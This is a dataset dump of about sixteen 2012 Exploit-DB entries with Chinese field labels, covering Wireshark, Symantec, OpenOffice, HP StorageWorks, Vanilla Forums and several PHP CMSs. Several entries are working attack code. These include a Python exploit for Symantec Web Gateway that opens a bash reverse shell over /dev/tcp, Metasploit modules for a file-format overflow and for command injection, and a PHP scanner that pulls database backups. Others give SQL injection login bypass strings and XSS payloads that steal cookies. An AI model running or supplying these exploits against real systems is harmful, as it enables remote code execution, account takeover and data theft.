QLWD/code_shield huggingface dataset:
标题: Wireshark - Misaligned Memory Denial of Service EDB-ID: 18920 CVE: 2012-2394 类型: DOS 平台: MULTIPLE 发布日期: 2012-05-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/53653/info

Wireshark is prone to a denial-of-service vulnerability. 

An attacker can exploit this issue to crash the affected application, denying service to legitimate users. 

Wireshark versions 1.6.0 through 1.6.7 and versions 1.4.0 through 1.4.12 are vulnerable.

PoC:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18920.pcap URL: https://www.exploit-db.com/exploits/18920
标题: Symantec Web Gateway 5.0.2 - Local/Remote File Inclusion / Remote Code Execution EDB-ID: 18932 CVE: 2012-0297 类型: WEBAPPS 平台: LINUX 发布日期: 2012-05-26 漏洞利用脚本: #!/usr/bin/python

# Symantec Web Gateway 5.0.2 Remote LFI root Exploit Proof of Concept
# Exploit requires no authentication, /tmp/networkScript is sudoable and apache writable.
# muts at offensive-security dot com


import socket
import base64

payload= '''echo '#!/bin/bash' > /tmp/networkScript; echo 'bash -i >& /dev/tcp/172.16.164.1/1234 0>&1' >> /tmp/networkScript;chmod 755 /tmp/networkScript; sudo /tmp/networkScript'''
payloadencoded=base64.encodestring(payload).replace("\n","")
taint="GET /<?php shell_exec(base64_decode('%s'));?> HTTP/1.1\r\n\r\n" % payloadencoded

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("172.16.164.129", 80))
expl.send(taint)
expl.close()

trigger="GET /spywall/releasenotes.php?relfile=../../../../../usr/local/apache2/logs/access_log HTTP/1.0\r\n\r\n"
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("172.16.164.129", 80))
expl.send(trigger)
expl.close() URL: https://www.exploit-db.com/exploits/18932
标题: Jaow 2.4.5 - Blind SQL Injection EDB-ID: 18921 CVE: 2012-2952 类型: WEBAPPS 平台: PHP 发布日期: 2012-05-24 漏洞利用脚本: # Exploit Title: Jaow <= 2.4.5 Blind Sql Injection
# Google Dork: intext:"propuls� par jaow 2.4.5"
# Date: 23/05/2012
# Software Link: http://www.jaow.net/telechargements/Jaow_V2.4.5.zip
# Version: 2.4.5
# Tested on: Debian GNU/Linux
# Author: kallimero


= Introduction =


Jaow is a CMS that can manage sites of small sizes, thanks to its simple,
commented code you can easily create templates and / or create modules to
suit your needs. Jaow is the solution for small sites, blogs or portfolio.

= Details =

Unfortunately, a Blind SQL injection is possible in the 2.4.5 core.

Vulnerable page : add_ons.php
Extract from the source :

-------------[ add_ons.php ]--------------
   // On stocke dans une variable simple le add_on demand�
    $add_on = stripslashes($_GET['add_ons']);

    // On recherche si l'add_on est install�

    echo 'SELECT id,nom FROM '.$db_prefix.'add_ons WHERE nom="'.$add_on.'"
AND actif="1"';

    $query_add_ons = mysql_query('SELECT id,nom FROM '.$db_prefix.'add_ons
WHERE nom="'.$add_on.'" AND actif="1"');

-------------[ add_ons.php ]--------------

So, we can inject sql with the add_ons variable, like that :
http://[site]/[path]/add_ons.php?add_ons=[SQL injection]


= Solutions =

Update is avalaible here : http://www.jaow.net/Article-97


= Thanks =

Thanks to  necromoine, fr0g, st0rn, applestorm, Zhyar, k3nz0, m4ke and all
hwc-crew members. http://hwc-crew.com/
And all npn members. http://n-pn.info/ URL: https://www.exploit-db.com/exploits/18921
标题: OpenOffice - OLE Importer DocumentSummaryInformation Stream Handling Overflow (Metasploit) EDB-ID: 18923 CVE: 2008-0320 类型: LOCAL 平台: WINDOWS 发布日期: 2012-05-25 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info={})
  super(update_info(info,
   'Name'           => "OpenOffice OLE Importer DocumentSummaryInformation Stream Handling Overflow",
   'Description'    => %q{
     This module exploits a vulnerability in OpenOffice 2.3.1 and 2.3.0 on
    Microsoft Windows XP SP3.

    By supplying a OLE file with a malformed DocumentSummaryInformation stream, an
    attacker can gain control of the execution flow, which results arbitrary code
    execution under the context of the user.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Marsu <Marsupilamipowa[at]hotmail.fr>', # Vulnerability discovery and PoC
     'juan vazquez'  # Metasploit module
    ],
   'References'     =>
    [
     ['CVE', '2008-0320'],
     ['OSVDB', '44472'],
     ['BID', '28819'],
     ['EDB', '5584'],
     ['URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=694']
    ],
   'Payload'        =>
    {
     'Space' => 407
    },
   'DefaultOptions'  =>
    {
     'EXITFUNC'          => 'process',
     'DisablePayloadHandler' => 'true'
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [
      'OpenOffice 2.3.1 / 2.3.0 on Windows XP SP3',
      {
       'Ret' => 0x609345fe, # add esp, ebx # ... # ret from tl680mi
       'EBX' => 0xffffefa8, # EBX value
       'JmpEsp' => 0x60915cbd, # push esp # ret from tl680mi
      }
     ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Apr 17 2008",
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('FILENAME', [true, 'The filename', 'msf.doc'])
    ], self.class)
 end

 def exploit

  path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2008-0320.doc')
  f = File.open(path, 'rb')
  template = f.read
  f.close

  my_payload = payload.encoded
  template[115717, 4] = [target['Ret']].pack("V")
  template[115725, 4] = [target['EBX']].pack("V")
  template[115729, 4] = [target['JmpEsp']].pack("V")
  template[115808, my_payload.length] = my_payload
  file_create(template)

 end

end URL: https://www.exploit-db.com/exploits/18923
标题: Apache Mod_Auth_OpenID - Session Stealing EDB-ID: 18917 CVE: 2012-2760 类型: LOCAL 平台: LINUX 发布日期: 2012-05-24 漏洞利用脚本: https://github.com/paranoid/mod_auth_openid/blob/master/CVE-2012-2760.markdown


# Security Advisory 1201
    Summary           : Session stealing
    Date              : May 2012
    Affected versions : all versions prior to mod_auth_openid-0.7
    ID                : mod_auth_openid-1201
    CVE reference     : CVE-2012-2760

# Details
Session ids are stored insecurely in /tmp/mod_auth_openid.db (default
filename). The db is world readable and the session ids are stored
unencrypted.

# Impact
If a user has access to the filesystem on the mod_auth_openid server,
they can steal all of the current openid authenticated sessions

# Workarounds
A quick improvement of the situation is to chmod 0400 the DB file.
Default location is /tmp/mod_auth_openid.db unless another location
has been configured in AuthOpenIDDBLocation.

# Solution
Upgrade to mod_auth_openid-0.7 or later:
http://findingscience.com/mod_auth_openid/releases

# Credits
This vulnerability was reported by Peter Ellehauge, ptr at groupon dot
com. Fixed by Brian Muller bmuller at gmail dot com

# References
mod_auth_openid project: http://findingscience.com/mod_auth_openid/

# History
15 May 2012
Discovered the vulnerability. Created private patch.

16 May 2012
Notified maintainer.
Obtained CVE-id

22 May 2012
Fixed by Brian Muller (bmuller at gmail dot com) in
mod_auth_openid-0.7 -
https://github.com/bmuller/mod_auth_openid/blob/master/ChangeLog

-- 
ptr URL: https://www.exploit-db.com/exploits/18917
标题: Wireshark - DIAMETER Dissector Denial of Service EDB-ID: 18918 CVE: 2012-2393 类型: DOS 平台: MULTIPLE 发布日期: 2012-05-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/53652/info

Wireshark is prone to a denial-of-service vulnerability because it fails to properly allocate memory. 

Successful exploits may allow attacker to crash the affected application, denying service to legitimate users. 

Wireshark 1.4.0 to 1.4.12 and 1.6.0 to 1.6.7 are vulnerable.

PoC:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18918.pcap URL: https://www.exploit-db.com/exploits/18918
标题: Symantec End Point Protection 11.x / Symantec Network Access Control 11.x - Local Code Execution (PoC) EDB-ID: 18916 CVE: 2012-0289 类型: DOS 平台: WINDOWS 发布日期: 2012-05-23 漏洞利用脚本: # Symantec End Point Protection 11.x & Symantec Network Access Control 11.x Local Code Execution POC
# Date: 22/05/2012
# Author: 41.w4r10r
# Software Link: Symantec.com
# Version: 11.x
# Tested on:
#   Windows XP SP2 English
#   Windows XP SP3 English
#   Windows Vista 32Bit
#   Windows 7 32Bit
# CVE : CVE-2012-0289

Time Line:
30/08/2011 - Sent Details of the vulnerability
31/08/2011 - Symantec Requested Affected Version Details
31/08/2011 - Provided Requested Information with POC
27/09/2011 - Vulnerability Confirmed by Symantec
22/05/2012 - Advisory Released

Symantec Advisory:
http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120522_01

Affected Products:

Symantec Endpoint Protection
11.0 RU6(11.0.600x)
11.0 RU6-MP1(11.0.6100)
11.0 RU6-MP2(11.0.6200)
11.0 RU6-MP3(11.0.6300)
11.0 RU7(11.0.700x)
11.0 RU7-MP1(11.0.710x)

Symantec Network Access Control
11.0 RU6(11.0.600x)
11.0 RU6-MP1(11.0.6100)
11.0 RU6-MP2(11.0.6200)
11.0 RU6-MP3(11.0.6300)
11.0 RU7(11.0.700x)
11.0 RU7-MP1(11.0.710x)

Affected Resource:
%%System%%\Symantec\Symantec Endpoint Protection\SSHelper.dll

===
POC
===

<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:D59EBAD7-AF87-4A5C-8459-D3F6B918E7C9' id='target' />
<script language='vbscript'>
prototype  = "Function HIDownloadURLFile ( ByVal cookie As Long ,  ByVal
url As String ,  ByVal file_path As String ,  ByVal rule_name As String ,
 ByVal cancel_message As String ,  ByVal downloading_time As Long ,  ByVal
bResume As Boolean ,  ByVal bShowProgressDlg As Boolean ,  ByVal
bAllowCancel As Boolean ,  ByVal username As String ,  ByVal password As
String ,  ByVal show_error_delay As Long ) As Long"
memberName = "HIDownloadURLFile"
progid     = "SSHELPERLib.SSHelper"
argCount   = 12
arg1=1
arg2="defaultV"
arg3="defaultV"
arg4="defaultV"
arg5="defaultV"
arg6=1
arg7=True
arg8=True
arg9=True
arg10="defaultV"
arg11= String(6003, "A")
arg12=1
target.HIDownloadURLFile arg1 ,arg2 ,arg3 ,arg4 ,arg5 ,arg6 ,arg7 ,arg8
,arg9 ,arg10 ,arg11 ,arg12
</script></job></package> URL: https://www.exploit-db.com/exploits/18916
标题: Vanilla Forums LatestComment 1.1 Plugin - Persistent Cross-Site Scripting EDB-ID: 18908 CVE: 2012-6555 类型: WEBAPPS 平台: PHP 发布日期: 2012-05-18 漏洞利用脚本: # Title: Vanilla LatestComment 1.1 Plugin Persistant XSS Vulnerability
# Date: 18/5/12
# Author: Henry Hoggard
# Author URL: henryhoggard.co.uk
# Author Twitter: @henryhoggard
# Software: Vanilla Version 2.0.18.4 + Latest Comment 1.1

#http://vanillaforums.org/addon/latestcomment-plugin

# http://vanillaforums.org
#############################################################

Create a new thread with your XSS as the thread title, the XSS will appear on the index page of the forum.

XSS:
<script>alert('x')</script>

#############################################################

http://henryhoggard.co.uk URL: https://www.exploit-db.com/exploits/18908
标题: Vanilla Forums About Me Plugin - Persistent Cross-Site Scripting EDB-ID: 18911 CVE: 2012-6557 类型: WEBAPPS 平台: PHP 发布日期: 2012-05-21 漏洞利用脚本: # Title: Vanilla About Me Plugin Persistant XSS Vulnerability
# Date: 18/5/12
# Author: Henry Hoggard
# Author URL: henryhoggard.co.uk
# Author Twitter: @henryhoggard
# Software: Vanilla Version 2.0.18.4 + About Me 1.1.1
# http://vanillaforums.org/addon/aboutme-plugin
# http://http://vanillaforums.org
#############################################################

Go to http://target.tld/index.php?p=/profile/editme/4/testmember

Post your XSS In any of the text fields, for this we used the Real Name Field and the following XSS

XSS:
<script>alert('x')</script>

Then if a user visits your about me page (http://target.tld/index.php?p=/profile/aboutme/4/testmember) the script will execute

#############################################################

http://henryhoggard.co.uk URL: https://www.exploit-db.com/exploits/18911
标题: Vanilla FirstLastNames 1.3.2 Plugin - Persistent Cross-Site Scripting EDB-ID: 18912 CVE: 2012-6556 类型: WEBAPPS 平台: PHP 发布日期: 2012-05-21 漏洞利用脚本: # Title: Vanilla FirstLastNames 1.3.2 Plugin Persistant XSS Vulnerability
# Date: 18/5/12
# Author: Henry Hoggard
# Author URL: henryhoggard.co.uk
# Author Twitter: @henryhoggard
# Software: Vanilla Version 2.0.18.4 + FirstLastNames 1.3.2

http://vanillaforums.org/addon/firstlastnames-plugin

# http://vanillaforums.org
#############################################################

On Edit your account enter your XSS String in either the first name or last name field.
Then if a user visits your page the XSS will execute.

http://target.tld/index.php?p=/profile/myprofile/1/user

XSS:
<script>alert('x')</script>

#############################################################

http://henryhoggard.co.uk URL: https://www.exploit-db.com/exploits/18912
标题: Real-DRAW PRO 5.2.4 - Import File Crash EDB-ID: 18902 CVE: 2012-2940 类型: DOS 平台: WINDOWS 发布日期: 2012-05-21 漏洞利用脚本: Real-DRAW PRO 5.2.4 Import File Crash
===================================================================================
# Exploit Title:Real-DRAW PRO 5.2.4 Malicious PNG File Denial of service
# Vendor : http://www.mediachance.com/
# Author: Ahmed Elhady Mohamed
# Email : ahmed.elhady.mohamed@gmail.com
# Website: www.infosec4all.tk
# version: 5.2.4
# Category: DOS
# Tested on: windows XP SP3
===================================================================================



########################################DESC#############################################
#Real-Draw seamlessly combines vector tools with the rich look of pixel based images and#
#innovative natural paint techniques into a single graphics editor.                     #
#########################################################################################

########################################################################################
#Real-DRAW PRO 5.2.4 crashes while importing a crafted PNG, WMF, PSD, TGA, TTF, BMP,   #
#TIFF and PCX file                                                                     #
#To trigger the exploit , go to file->Import                                           #
########################################################################################

 
#!/usr/bin/ruby
 

File.open "Crash.png" , "w" do |file|
junk = "A" *1000
file.write junk
end URL: https://www.exploit-db.com/exploits/18902
标题: HP StorageWorks P4000 - Virtual SAN Appliance Command Execution (Metasploit) EDB-ID: 18901 CVE: 2012-4362 2012-4361 2012-2986 类型: REMOTE 平台: HARDWARE 发布日期: 2012-05-21 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info={})
  super(update_info(info,
   'Name'           => "HP StorageWorks P4000 Virtual SAN Appliance Command Execution",
   'Description'    => %q{
     This module exploits a vulnerability found in HP's StorageWorks P4000 VSA,
    versions prior to 9.5.  By using a default account credential, it is possible
    to inject arbitrary commands as part of a ping request via port 13838.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Nicolas Gregoire',  #Discovery, PoC, additional assistance
     'sinn3r'             #Metasploit
    ],
   'References'     =>
    [
     ['EDB', '18893'],
     ['URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?loc=en_US&id=958'],
     ['URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c03082086']
    ],
   'Payload'        =>
    {
     'BadChars' => "/",
     'Compat'   =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic perl telnet bash'
      }
    },
   'DefaultOptions'  =>
    {
     'ExitFunction' => "none"
    },
   'Platform'       => ['unix', 'linux'],
   'Arch'           => ARCH_CMD,
   'Targets'        =>
    [
     ['HP VSA prior to 9.5', {}]
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Nov 11 2011",
   'DefaultTarget'  => 0))

  register_options(
   [
    OptPort.new('RPORT', [true, 'The remote port', 13838])
   ], self.class)
 end


 def generate_packet(data)
  pkt = "\x00\x00\x00\x00\x00\x00\x00\x01"
  pkt << [data.length + 1].pack("N*")
  pkt << "\x00\x00\x00\x00"
  pkt << "\x00\x00\x00\x00\x00\x00\x00\x00"
  pkt << "\x00\x00\x00\x14\xff\xff\xff\xff"
  pkt << data
  pkt << "\x00"

  pkt
 end


 def exploit
  connect

  # Login packet
  print_status("Sending login packet")
  packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"8.5.0\"")
  sock.put(packet)
  res = sock.get_once
  vprint_status(Rex::Text.to_hex_dump(res)) if res

  # Command execution
  print_status("Sending injection")
  data = "get:/lhn/public/network/ping/127.0.0.1/foobar;#{payload.encoded}/"
  packet = generate_packet(data)
  sock.put(packet)
  res = sock.get_once
  vprint_status(Rex::Text.to_hex_dump(res)) if res

  handler
  disconnect
 end
end URL: https://www.exploit-db.com/exploits/18901
标题: b2ePms 1.0 - Authentication Bypass EDB-ID: 18882 CVE: 2012-6626 类型: WEBAPPS 平台: PHP 发布日期: 2012-05-15 漏洞利用脚本: #################################################
b2ePMS 1.0 Authentication Bypass Vulnerability
#################################################

Discovered by: Jean Pascal Pereira <pereira@secbiz.de>

Vendor Information:

"b2ePMS stands for Browser to Email Phone Message System. It is intended to replace the standard 
paper/carbon phone message slips commonly used in offices, with the capability of sending the message
 via a web browser form directly to the recipients inbox."

Vendor URI: https://developer.berlios.de/projects/b2epms/

#################################################
# Exploit-DB Note
# Loneferret
# The provided PoC doesn't not work.
# This does:
# Username: "' or 1=1 -- "
# Password: x

Issue: SQL Injection, Authentication Bypass

Risk level: High

=> The remote attacker has the possibility to execute arbitrary SQL Code.

=> The remote attacker is able to bypass the user authentication.

In verify-user.php, line 20:

-------------------------------------

$sql = mysql_query("SELECT * FROM b2epms_user WHERE username='$username' AND user_passwd='$admin_passwd' AND activated='1' AND user_level='2'");
$login_check = mysql_num_rows($sql);
if($login_check > 0){
  while($row = mysql_fetch_array($sql)){
  foreach( $row AS $key => $val ){
    $$key = stripslashes( $val );
  }
    // Register session variables!
    session_register('userid');
    $_SESSION['userid'] = $user_level;
    mysql_query("UPDATE b2epms_user SET login_date=now() WHERE userid='$userid'"); $url = "Location: admin.php";
    header($url);
  }
}

-------------------------------------

Exploit / Proof Of Concept:

Perform a login with the following data:

Username: admin' OR '1='1
Password: x

-------------------------------------

################################################# URL: https://www.exploit-db.com/exploits/18882
标题: Artiphp CMS 5.5.0 - Database Backup Disclosure EDB-ID: 18889 CVE: 2012-2905 类型: WEBAPPS 平台: PHP 发布日期: 2012-05-16 漏洞利用脚本: <?php

/*

Artiphp CMS 5.5.0 Database Backup Disclosure Exploit


Vendor: Artiphp
Product web page: http://www.artiphp.com
Affected version: 5.5.0 Neo (r422)

Summary: Artiphp is a content management system (CMS) open
and free to create and manage your website.

Desc: Artiphp stores database backups using backupDB() utility
with a predictable file name inside the web root, which can be
exploited to disclose sensitive information by downloading the
file. The backup is located in '/artzone/artpublic/database/'
directory as 'db_backup_[type].[yyyy-mm-dd].sql.gz' filename.

Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.21
           PHP 5.3.8 / 5.3.9
           MySQL 5.5.20


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2012-5091
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5091.php


15.05.2012

*/

error_reporting(0);

print "\no==========================================================o\n";
print "|                                                          |";
print "\n|\tArtiphp CMS 5.5.0 DB Backup Disclosure Exploit     |\n";
print "|                                                          |\n";
print "|\t\t\tby LiquidWorm                      |\n";
print "|                                                          |";
print "\no==========================================================o\n";

if ($argc < 3)
{
    print "\n\n\x20[*] Usage: php $argv[0] <host> <port>\n\n\n";
    die();
}

$godina_array = array('2012','2011','2010');

$mesec_array = array('12','11','10','09',
       '08','07','06','05',
       '04','03','02','01');

$dn_array = array('31','30','29','28','27','26',
    '25','24','23','22','21','20',
    '19','18','17','16','15','14',
    '13','12','11','10','09','08',
    '07','06','05','04','03','02',
    '01');

$backup_array = array('full','structure','partial');

$host = $argv[1];
$port = intval($argv[2]);
$path = "/artiphp/artzone/artpublic/database/"; // change per need.

$alert1 = "\033[0;31m";
$alert2 = "\033[0;37m";

foreach($godina_array as $godina)
{
 print "\n\n\x20[*] Checking year: ".$godina."\n\n Scanning: ";
 sleep(2);
 foreach($mesec_array as $mesec)
 {
  foreach($dn_array as $dn)
  {
   print "~";
   foreach($backup_array as $backup)
   {
    if(file_get_contents("http://".$host.":".$port.$path."db_backup_".$backup.".".$godina."-".$mesec."-".$dn.".sql.gz"))
    {
     print "\n\n\x20[!] DB backup file discovered!\n\n";
     echo $alert1;
     print "\x20==>\x20";
     echo $alert2;
     die("http://".$host.":".$port.$path."db_backup_".$backup.".".$godina."-".$mesec."-".$dn.".sql.gz\n");
    }
   }
  }
 }
}

print "\n\n\x20[*] Zero findings.\n\n\n"

?> URL: https://www.exploit-db.com/exploits/18889
标题: S9Y Serendipity 1.6 - 'Backend' Cross-Site Scripting / SQL Injection EDB-ID: 18884 CVE: 2012-2332 2012-2331 类型: WEBAPPS 平台: PHP 发布日期: 2012-05-08 漏洞利用脚本: Advisory:  Serendipity 1.6 Backend Cross-Site Scripting and SQL-Injection vulnerability
Advisory ID:  KORAMIS-ADV2012-001
Contact:  security@koramis.de
Author:   Stefan Schurtz
Affected Software: Successfully tested on Serendipity 1.6
Vendor URL:  http://www.s9y.org
Vendor Status:  fixed
CVE-ID:   CVE-2012-2331,CVE-2012-2332

==========================
Vulnerability Description:
==========================

The Serendipity backend is prone to a Cross-Site Scripting and SQL-Injection vulnerability.

==================
Technical Details:
==================

# Cross Site-Scripting (CVE-2012-2331)
http://[target]/serendipity/serendipity_admin_image_selector.php?serendipity[textarea]='"</script><script>alert(document.cookie)</script>

# SQL-Injection (CVE-2012-2332)
http://[target]/serendipity/serendipity_admin.php?serendipity[adminModule]=plugins&serendipity[plugin_to_conf]=-1' OR SLEEP(10)=0 LIMIT 1--+

=========
Solution:
=========

Upgrade to version 1.6.1

====================
Disclosure Timeline:
====================

21-Apr-2012 - informed developers
22-Apr-2012 - feedback from developer
08-May-2012 - fixed in version 1.6.1

========
Credits:
========

Vulnerabilities found and advisory written by Stefan Schurtz (KORAMIS Security Team).

===========
References:
===========

http://www.koramis.com/advisories/2012/KORAMIS-ADV2012-001.txt
http://blog.s9y.org/archives/240-Serendipity-1.6.1-released.html URL: https://www.exploit-db.com/exploits/18884